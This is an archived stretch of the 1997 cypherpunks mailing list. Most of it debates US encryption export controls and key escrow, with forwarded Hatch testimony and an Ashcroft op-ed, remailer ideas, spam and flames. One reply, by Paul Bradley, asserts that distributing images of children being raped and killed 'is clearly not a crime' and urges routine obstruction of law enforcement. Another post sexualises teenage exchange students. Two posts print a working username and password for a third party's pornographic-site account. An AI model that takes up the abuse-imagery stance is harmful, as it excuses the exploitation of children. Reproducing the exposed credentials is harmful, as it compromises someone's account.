Date: Sun, 13 Jul 1997 12:24:30 +0800
To: cypherpunks@Algebra.COM
Subject: Advertise to 100 MILLION People for FREE!!
Message-ID: <199707130417.VAA28942@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Would you be interested in sending out an advertisement
for your business or web page to 100 MILLION PEOPLE on
the Internet for FREE?

TO FIND OUT HOW: Respond to this email! (nim@nim.com)
You will receive Information on how to do this for FREE!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nim@nim.com
Date: Sun, 13 Jul 1997 12:34:19 +0800
To: cypherpunks@toad.com
Subject: Advertise to 100 MILLION People for FREE!!
Message-ID: <199707130417.VAA29055@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,


Would you be interested in sending out an advertisement
for your business or web page to 100 MILLION PEOPLE on
the Internet for FREE?

TO FIND OUT HOW: Respond to this email! (nim@nim.com)
You will receive Information on how to do this for FREE!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Jul 1997 10:48:08 +0800
To: cypherpunks@toad.com
Subject: From Hatch's testimony
Message-ID: <v03110702afededa46363@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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Mime-Version: 1.0
Date: Sat, 12 Jul 1997 16:50:55 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: From Hatch's testimony
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From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: rah@shipwright.com
Subject: From Hatch's testimony

http://washingtonpost.com:80/wp-srv/WPlate/1997-07/10/015L-071097-idx.htm l

 Content-Type: text/plain; charset=us-ascii; name="015L-071097-idx.htm l"
 Content-Disposition: inline; filename="015L-071097-idx.html"
 X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com i d
 QAA04134

                                 [Image]
 -------------------------------------------------------------------------
 [Image]

 [Image]

 Talk Central Section:
 discuss hot topics of
 the day online.

 All Editorials and
 Op-Ed columns from
 this morning's
 Washington Post.

 All editorials and
 commentary from
 Sunday's Washington
 Post Outlook section.
                          [Image]
                          ------------------------------------------------

                          For the Record

                          Thursday, July 10, 1997; Page A18
                          The Washington Post

                          From testimony by Sen. Orrin Hatch (R-Utah)
                          yesterday before the Senate Judiciary
                          Committee:

                          Although encryption has historically been a
                          technology reserved for national security and
                          military applications, the explosive growth of
                          both electronic communications and stored data
                          has enhanced the need to develop means to
                          protect business, governmental and individual
                          communications and information from improper
                          access and use. A direct deterrent to economic
                          espionage, consumer or commercial theft or
                          fraud, or improper eavesdropping of private
                          information or communications is the encryption
                          of such information. By employing mathematical
                          algorithms [that] convert electronic
                          information into meaningless text, encryption
                          prevents anyone other than a keyholder -- who
                          has the algorithm necessary to unscramble or
                          decrypt this information -- from gaining access
                          to the information. The importance of
                          meaningful legislation in this area cannot be
                          understated. Consider for instance that
                          consumer confidence in a secure network is
                          deemed essential to the development of such
                          things as on-line commerce, which is projected
                          to grow from last year's $500 million to as
                          much as $12 billion by the year 2000.

                          The difficulty in evaluating a meaningful
                          encryption policy is that, while its employment
                          does protect the privacy of legitimate business
                          and personal interests, it can also be used . .
                          . by criminals to hide their communications and
                          operations. . . .

                          Today, Americans . . . enjoy the ability to
                          use, and industry is free to market, commercial
                          encryption of any strength domestically without
                          restriction. The focus of congressional debate
                          is the export and dissemination of U.S.
                          encryption products abroad and the development
                          of key recovery features that allow law
                          enforcement access to encrypted communications
                          under appropriate circumstances.

                            (c) Copyright 1997 The Washington Post Company

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 13 Jul 1997 14:55:58 +0800
To: cypherpunks@toad.com
Subject: Solution to McKain's worries
Message-ID: <3.0.32.19970712234109.006d0fac@best.com>
MIME-Version: 1.0
Content-Type: text/plain




The alternative solution might go something like this (also known as the
Mother of Clipper):

1. Outlaw use of any crypto not authorized and provided by an Official
Source, which is to be provided in the form of hardware on the
CPU/Motherboard (or equivalent, depending on the computing/communications
device)

2. When you wish to send an encrypted communication or store encrypted
data, the Official Crypto Device from the Official Source first must obtain
a Secrecy Credential from a Central Repository, to which you have applied
for some strength crypto.  The Credential gives you certain secrecy
privileges ... as long as you're being a good citizen.  The Credential
enables the crypto on your official device: the device will not function
without communicating with the Central Repository and obtaining today's
Credential.

3. When LEA wants to tap you, it sends a control message to the Central
Repository which modifies your Secrecy Credential, dumbing you down to,
say, 40bits. They could even provide the entire session key (or other
secret as required by protocols.)  As long as this state is in effect, your
"encrypted" communications and storage are readable by the LEA.

Now: consider the profits to be made by the Central Repository, which is
responsible for maintaining your Credential.  Each Credential use could be
charged a transaction fee, as well as the annual licensing.  The crypto
device provider has a locked-in market for its silicon, as it must go on
all the motherboards and into the CPU's.  The big-system manufacturers
responsible for the servers and communications required to manage the
communications between the crypto and repository make out real well too.

It sounds like a perfect fit for Microsoft, Intel, together with HP-s ICF!! 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 13 Jul 1997 18:36:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <199707111954.VAA02222@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970713003511.347B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   Am I totally out of my mind, or has life become tremendously
> fucking scary, and nobody but me has noticed?

This list is quite simply the only place I know of where single sentences 
as perceptive and straight to the point as the quote above are made on a 
regular basis. I am sure many potential revolutionaries have ended up in 
asylums over the years as a result of the consequences of the above 
effect, if the "terrorist" retains their sanity they are put in an asylum 
as a dangerous lunatic, more normally the total stupidity and blindness 
of those around them drive them to genuine insanity. This same effect can 
likely be used to explain the high rate of insanity in the late years of 
many of the pasts great philosophers.

>   Sometimes I feel like the guy on the plane in the "Twilight Zone"
> movie, who is the only one who can see the monster on the plane's
> wing that is endangering everyone's life. 

Small question: I seem to remember this film, is it the small green 
monster which keeps dancing and fucking with the planes engines?


> And if you shoot at the
> monster nobody else can see, then they strap you down and take you
> to the rubber room. (Obvious analogy to McVeigh and Death Row 
> purely unintentional.)

Of course, and anyone who saw such an analogy without it being pointed 
out would probably be a dangerous terrorist anyway.

>   Yes, and one day, even our private thoughts will be considered to
> automatically make us guilty criminals unless we allow LEA's access
> to them. (The "lie detector" is a case in point, and it has in the
> past come dangerously close to being afforded the same status as
> the breathalyzer, even though it represents "voodoo" as much as it
> does "science.")

How much confidence do US courts have in polygraph tests? I believe UK 
systems qualify the tests as evidence to be considered as ancillary to 
the other evidence rather than relied on as a major part of a case.
Not really relevant though, polygraph tests are hopelessly innacurate, 
any good poker player or general good liar could beat one, or indeed 
someone who practiced one of the many forms of meditation in which ones 
blood pressure, respiration and pulse may be consciously controlled.

> TruthMonger

BTW, one of the many Mongers of several sorts uses toad.com for all 
messages, I`m sure it is now just a forwarder but just to point it out, 
it may still be censored.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 07:41:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707122335.BAA02356@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST), and signed with the initials KC, wrote:

>In any case, it is not true that my intent is to "disrupt the group",
>and it is hard to see how my few, offhand posts on the topic of the
>tobacco agreement could be seen as anything remotely approaching a
>deliberate campaign.  I think you are attributing me far more potency
>than is warranted.

I try not to contemplate your impotence too often, Kent.

>KC

Damn.  Kent's figured out anonymous remailers.  I read this message because it came from anonymous--Kent's in my killfile.

Know what this means?

Anonymous remailers have more reputation capital than Kent.

ReputationMunger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 14:45:58 +0800
To: cypherpunks@toad.com
Subject: Re: From Hatch's testimony
Message-ID: <199707130629.IAA20912@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
>                      Thursday, July 10, 1997; Page A18
>                      The Washington Post
>                      From testimony by Sen. Orrin Hatch (R-Utah)
>                      yesterday before the Senate Judiciary
>                      Committee:

>                      Today, Americans . . . enjoy the ability to
>                      use, and industry is free to market, commercial
>                      encryption of any strength domestically without
>                      restriction. 

  Try to think of laws as outlining what we are no longer free to do.
Then go to a courthouse library and look at the mountains of books 
which contain a list of the freedoms that have been taken away from us.

  Who the fuck do the people who pass these laws think they are?
  I wish I had a nickle for every local city councilman who got a
hard-on the first time he got to vote on a bylaw that empowered him
and his pals and fucked everyone else. Then, once he's convinced
himself that this -->|       |<-- is 12", he decides that it is his
duty to run for Congress and share his "greatness" with the whole
country.

  I try to pay my parking tickets more than 500' from a schoolyard
and sell my drugs before the date I'm due to appear in court, but
I keep getting in trouble because I just can't keep up with all of
the intricate details involved in being a law-abiding citizen.
  What happened to the "good old days" when all you had to do was
stay out of stone-throwing range of the "righteous" in order to
live according to your own dictates?

  Today, the "righteous" feel that they have the right to come
in your home whenever they want, demand the wrong to read all of
your correspondence, tell you what you can put on your website,
limit what thoughts you can express and how you do so.
  And it never ends. If you want to build a dog-house you have to
deal with an army of people who are upholding the "righteousness"
of city permits, union rules, ecology regulations, tax laws, and
a multitude of similar bullshit. And if you happen to forget to
cross a 't' or dot an 'i', then you find you are in violation of
a new law which is classified as an "inconsequential felony."

Def. 'inconsequential felony' -- A legal term which refers to
a harmless action which is nonetheless subject to the severest
of punishments because someone in authority got a wild-hair up
their ass for some silly reason and deemed it should be so.

  I met a man in Texas who spent twenty years in prison for the
possession of a few stems and seeds. He thought it ironic that
the state had imprisoned him for twenty years to try to prevent
him from doing something that someone else thought would ruin
his life.
  He told me that at his sentencing, his mother told him, "I told
you smoking dope would ruin your life." She got upset when he was
"unrepentant" enough to reply, "No. I think the judge did that."

  The problem is not that the citizens are "sinners" but that
Hatch and his ilk are "righteous." When the "righteous" take it
on themselves to speak for a "higher power," whether it be "God"
or "National Security," then they begin justifying even the most
horrendous of actions as "just following orders."
  Thus, it's not really going to matter whether you are using crypto
to encrypt children's pictures or a new version of the Bible. Coming
new laws will make you a criminal either way, because the "righteous"
feel that it is up to them to decide if the children's pictures are
pornographic or if the new version of the Bible is sacreligious.

  Government has merely usurped religion as the final authority on
who is "righteous" and who is a "sinner," on what is "good" and
what is "bad." They are priests with nuclear weapons to back them
up in enforcement of their "commandments."
  The end result is that we have to fear getting nuked if we build
the fence around our house more than 5' high, so that the ever-
vigilant "righteous" don't hurt themselves when peeking over our
fence to see if we've built an illegal doghouse. And we have to
fear getting nuked if we want to electronically "whisper" when
the "righteous" are trying to spy on the "sinners."
  Same shit, different religion.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 16:08:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707130754.JAA29596@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Reputation Monger wrote:
> An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST),
> and signed with the initials KC, wrote:

> >In any case...

> Damn.  Kent's figured out anonymous remailers.  I read this message
> because it came from anonymous--Kent's in my killfile.
>
> Know what this means?
> Anonymous remailers have more reputation capital than Kent.

Excerpt From:           Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).
...
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***

  Kent has obviously read "The Tao of Remailers," which explains
the concept of turning the CypherPunks tools against them as
weapons.
  One has to wonder if Louis Freeh has read the book as well
and is sitting at home sending threatening letters to the
President via a variety of remailers.

  I wonder if it is feasible to design a remailer which sends out
anonymous email which is rated (Anonymous +7 / Anonymous -4) on
the basis of reputation capital?

Slightly Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 13 Jul 1997 23:31:24 +0800
To: cypherpunks@toad.com
Subject: Re: Int'l High School Exchange
In-Reply-To: <65724882_64764806>
Message-ID: <euas0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



buyguy222@erols.com writes:

> Have you ever thought about having a high school student from another
> country come and stay with your family?

I could take on a few h.s. girls, but my wife might get jealous.

> Pacific Intercultural Exchange (P.I.E.) has been matching high school
> students with American host families for more than 20 years.

Does this mean you only provide oriental girls?

> American families, families just like yours.  Imagine sharing your
> traditions with a teenager from another country.

Like, what kinds of traditions?

I have a tradition to encrypt, like, everything.  Would I still be
allowed to do that if I had a non-US teenage girl here?  Would I have
to take steps to prevent her from using my computers?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Jul 1997 22:56:49 +0800
To: cypherpunks@toad.com
Subject: Ashcroft Encryption Editorial
Message-ID: <v03110700afee97582793@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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owner-espam@lists.espace.net using -f
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Date: Sat, 12 Jul 1997 08:58:20 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: Encription: editoral by IBD
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
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From: Bill GL Stafford <springco@arn.net>
Organization: Spring Management Company
MIME-Version: 1.0
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Subject: Encription: editoral by IBD
X-Priority: 3 (Normal)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Bill GL Stafford <springco@arn.net>

 I believe these guys are on our side.
 Bill GL Stafford
 <http://www.investors.com/web_edition/today/viewfrontpage.html>http://www
..invest
 ors.com/web_edition/today/viewfrontpage.html
 Encryption: Keep Feds'
 Nose Out Of The Net
 ASHCROFT J.

 Date: 7/11/97

 Edgar Hoover would have loved this. The
 Clinton administration wants government to
 be able to read international computer
 communications - financial transactions,
 personal e-mail and proprietary information
 sent abroad - all in the name of national
 security.

 In a proposal that raises obvious concerns
 about Americans' privacy, President
 Clinton wants to give agencies the keys for
 decoding all exported U.S. software and
 Internet communications. Such a policy also
 would tamper with the competitive
 advantage that our U.S. software
 companies currently enjoy in the field of
 encryption technology.

 Not only would Big Brother be looming over
 the shoulders of international cybersurfers,
 he also threatens to render our
 state-of-the-art computer software
 engineers obsolete and unemployed.

 Granted, the Internet could be used to
 commit crimes, and advanced encryption
 could disguise such activity. However, we
 do not provide the government with phone
 jacks outside our homes for unlimited
 wiretaps. Why, then, should we grant
 government the Orwellian capability to
 listen at will and in real time to our
 communications across the Web?

 The protections of the Fourth Amendment
 are clear. The right to protection from
 unlawful searches is an indivisible
 American value.

 The president has proposed that American
 companies and computer users supply the
 government with decryption keys to
 high-level encryption programs. Yet
 European software producers are free to
 produce computer encryption codes of all
 levels of security without providing keys to
 any government authority.

 Buyers of encryption software value security
 above all else. They will ultimately choose
 airtight encryption programs - not those for
 which the U.S. government maintains keys.

 In spite of this obvious fact, the president is
 trying to foist his rigid policy on the
 exceptionally fluid and fast-paced computer
 industry. Furthermore, recent developments
 in decryption technology cast doubt on the
 wisdom of any government meddling in this
 industry.

 Two weeks ago, the 56-bit algorithm
 government standard encryption code that
 protects most U.S. electronic financial
 transactions, from ATM cards to wire
 transfers, was broken by a low-powered
 90-megahertz Pentium processor.

 In 1977, when this code was first approved
 by the U.S. government as a standard, it
 was deemed unbreakable. And for good
 reason - there are 72 quadrillion different
 combinations in a 56-bit code. However,
 with today's technology, these 72
 quadrillion different combinations can each
 be tried -it's only a matter of time and
 determination.

 Two days after this encryption code was
 broken, however, the Senate Commerce
 Committee voted, in accordance with
 administration policy, to force American
 software companies to perpetuate this
 already compromised 56-bit encryption
 system.

 Meanwhile, 128- bit encryption software
 from European firms is available to every
 Web user. Interestingly, European firms can
 import this supersecure encryption
 technology (originally developed by
 Americans) to the U.S., but U.S. companies
 are forbidden by law from exporting these
 same programs to other countries.

 So to move forward with the president's
 policy or the Commerce Committee's bill
 would be an act of folly, creating a cadre of
 government peeping Toms and causing
 severe damage to our vibrant software
 industries. Government would be caught in
 a perpetual game of catch-up with whiz-kid
 code-breakers and industry advances.

 Majority Leader Trent Lott, R-Miss., has
 signaled his objection to both proposals.
 He and I would like to work to bring to the
 floor a version of the encryption legislation
 by Sen. Conrad Burns, R-Mont. Burns' bill
 closely resembles the popular House
 encryption bill sponsored by Rep. Bob
 Goodlatte, R- Va. Both measures would not
 require sharing of keys with the goverment.

 In essence, these proposals would give
 U.S. encryption software manufacturers the
 freedom to compete on equal footing in the
 worldwide marketplace. They would set up
 a quasi-governmental board for the industry
 to decide encryption bit strength based on
 the current level of international technology.

 U.S. companies are on the front line of
 online technologies - the value- added
 industries of the future.

 The best policy for encryption technology is
 one that can rapidly react to breakthroughs
 in decoding capability and roll back
 encryption limits as needed. The Burns and
 Goodlatte proposals would accomplish this.
 In contrast, the Clinton administration's
 unnecessary and invasive interest in
 international e-mail is a wholly unhealthy
 precedent, especially given this
 administration's track record on FBI files
 and Internal Revenue Service snooping.

 Every medium by which people
 communicate can be exploited by those
 with illegal or immoral intentions.
 Nevertheless, this is no reason to hand Big
 Brother the keys to unlock our e-mail
 diaries, open our ATM records or translate
 our international communications.

 John Ashcroft is a Republican U.S. senator
 from Missouri and a member of the Senate
 Commerce Committee.

 (C) Copyright 1997 Investors Business
 Daily, Inc.
 Metadata: E/IBD E/SN1 E/EDIT
 <http://www.investors.com/web_edition/today/viewfrontpage.html>http://www
..invest
 ors.com/web_edition/today/viewfrontpage.html
 --
 ÐÏà¡±
  For help on using this list (especially unsubscribing), send a message t o
 "dcsb-request@ai.mit.edu" with one line of text: "help".


---------------------------------------------------------------------
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---------------------------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 15 Jul 1997 06:59:48 +0800
To: Antonomasia <ant@notatla.demon.co.uk>
Subject: Re: Jim Bell reference
In-Reply-To: <199707120851.JAA01075@notatla.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970713110646.728A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Baloney.  The figures you give later indicate 1000 or 2000 investigations
> a year meeting computer encryption.  Even if they were all unbreakable
> that's 2000/year in a population of how many ?  Dents the clear-up rate
> by how much ?   Makes me think the issue is the preservation of many
> thousands of _unathorised_ taps.  What else could explain that viewpoint?

Don`t cloud the issue: The simple fact is strong encryption can and will 
obstruct law enforcement agencies in their "fight" against terrorism, 
child pornography, drugs etc... good.

> Incidentally, I'm against terrorism, child molestation etc etc. 
> I'm confident most other cypherpunks are too, so no nonsense please
> about free crypto supporters being backers of [crime of the month].

Once again, you fail to give adequate qualification to this statement, 
what forms of terrorism are you against: one mans terrorist is another 
mans freedom fighter. Were the French resistance during WWII terrorists? 
Would you then say their actions were wrong? As for child molestation, 
this is a clear cut case, most libertarians follow the basic rule that a 
crime has to be a direct act of agression, and infringe the rights of 
another person, therefore child molestation clearly comes into this 
category, distributing pictures of children being molested, raped, 
buggered, tortured and killed is clearly not a crime. Please clarify your 
position on this.

> >       A subject in a child pornography case used encryption in
> >       transmitting obscene and pornographic images of children
> >       over the Internet.
> >
> >       A major international drug trafficking subject recently used a
> >       telephone encryption device to frustrate court-approved
> >       electronic surveillance.

Above are two examples of why strong cryptography is a good thing, law 
enforcement should be routinely obstructed as often as possible.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Donald <jim@echeque.com>
Date: Mon, 14 Jul 1997 05:33:38 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: FCPUNX:Jim Bell 6
Message-ID: <199707132109.OAA18740@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:34 PM 7/8/97 +0200, Anonymous wrote:
>  I mean, get real...Bell is imprisoned without bail with no charges
> having been filed against him. 

One might suppose this is because of his political ideas.

In actual fact, in America only those with subversive ideas
AND WHO CANNOT AFFORD A LAWYER are imprisoned for long periods
without charges or trial.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Mon, 14 Jul 1997 03:10:08 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Int'l High School Exchange
In-Reply-To: <euas0D2w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.96.970713145143.18751A-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> Like, what kinds of traditions?
> 
> I have a tradition to encrypt, like, everything.  Would I still be
> allowed to do that if I had a non-US teenage girl here?  Would I have
> to take steps to prevent her from using my computers?
> 
As long as you don't let her near the 128 bit encryption.  She
could be a spy

{hmm, sounds like black helicopters in the background}


Bradley Reynolds
breynolds@harborcom.net
ber@cwru.edu
PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26
PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Mon, 14 Jul 1997 05:28:55 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: remailer@rcmp-grc.gc.ca ?? (fwd)
In-Reply-To: <199707122352.SAA13268@einstein.ssz.com>
Message-ID: <Pine.LNX.3.96.970713175352.11512B-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 12 Jul 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Sat, 12 Jul 1997 18:45:56 -0500
> > From: John Deters <jad@dsddhc.com>
> > Subject: remailer@rcmp-grc.gc.ca ??
> 
> > There are many anonymous re-mailers in operation across the Internet.
> 
> That's being just a tad charitable I think.

Not really, several is often used to roughly translate in common usage as
about seven, so 'many' could be more than several. Just as a few is
roughly four. A couple is about two. 

At least there are too many to get court authorization for all of them,
especially those pesky non-North American sites. 

It would be nice to see more remailer. I do not know if transient
remailers themselves are a good idea, but I think transient operators of
same-named remailer is good.

remailer.com and remailer.net is taken, but remailer.org appears to be
available. Maybe we need a network of transient operators for a number of
remailers all out of a common domain. remailer@tcmay.remailer.org,
remailer@vulis.remailer.org, etc., which the machine names points to
different machines IP addresses weekly. 

It allows sites which want to block anonymous mail via remailers easily
(such as certain retentive commerical sites) via domain blocking. This is
both a plus and a minus. An Admin trying to stop harrassment of a user
could block all anonymous remailed mail with a simple block os all mail
from remailer.org. Security conscience sites could prevent outgoing
messages from sending to remailer.org. Legit users blocked by this
only need non-business access such as via a freenet or AOL trial offer
diskette.

This would provide an increase in overhead for legal hassle for
net.weenies.  "No, I do not operate the anonymous remailer at
tcmay.remailer.org..." <whisper> "but I did last week."

It does not even increase the complexity at the user's end. Existing
software like premail, and Private Idaho wouldn't break. 

The only stumbling block I foresee is that the PGP private key
passphase would have to be shared amongst operators unless there is a
better way.

This may of been discussed by remailer operators before, I don't know.
If there is good solution to the private key passphase sharing then I
think the operation is possible without a lot of complex work. Maybe the
code from pgp.net dymanic domains could be used.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Mon, 14 Jul 1997 07:31:57 +0800
To: cypherpunks@Algebra.COM
Subject: Liberation Technology
In-Reply-To: <v03110700afee97582793@[139.167.130.248]>
Message-ID: <97Jul13.192222edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



To coin a new phrase, and a play on words on the heresy known as
"liberation theology", I was thinking about what cypherpunks and such is
about and it comes down to "Liberation Technology".

Encryption and authentication technology lets me do things regardless of
what government wants.  I can communicate and not with who I want to.

But I also thought about some of the original Liberation Technology,
starting with the crossbow (which was banned because "even women could use
them").

Guns are liberation technology and why restrictions on the ownership or
usage parallel crypto and other internet restrictions - When I can
exercise a right by using technology, restricting that technology
restricts that right.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 14 Jul 1997 11:58:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <DL8s0D7w165w@bwalk.dm.com>
Message-ID: <19970714034743.24942.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



The Good Doctor writes:

> What is this stuff: http://hotbox.danni.com
> username: antonio
> password: 9183tc

> Why are they spamming me with their passwords?

Apparently, they think you will give them a credit card number they can
bill $9.95 a month to in perpetuity, just for the privelege of being able
to click on some jpg files of chunky women with big hooters. 

Go figure. 

I've never understood phone sex either. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 14 Jul 1997 11:48:45 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199707100510.WAA13559@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970713212419.29530A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an 
> imbecile, when she had no clothes on. Nine months later she had a little moron.
> 
>    ----
>   '@  *> Timothy Mayhem
>   |\   7
>  / `-- _
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 14 Jul 1997 10:36:14 +0800
To: cypherpunks@toad.com
Subject: Bizarre e-mail in the orphan mailbox
In-Reply-To: <199707131953.MAA21869@hotbox.danni.com>
Message-ID: <DL8s0D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



This is, like, bizarre.  Why do they send this stuff in cleartext,
and why does it come to my orphan mailbox? We have no "tcheung" here.

]Received: (from www@localhost) by hotbox.danni.com (8.7.3/8.7.3) id MAA21869 for tcheung@dm.com; Sun, 13 Jul 1997 12:53:37 -0700 (PDT)
]Date: Sun, 13 Jul 1997 12:53:37 -0700 (PDT)
]Message-Id: <199707131953.MAA21869@hotbox.danni.com>
]To: tcheung@dm.com
]From: Kris <kris@danni.com>
]Subject: Hotbox
]Errors-To: kris@danni.com
]
]Your HotBOX passwords have been activated!
]
]New Members:
]A charge will appear on your credit card statement (if that is how you
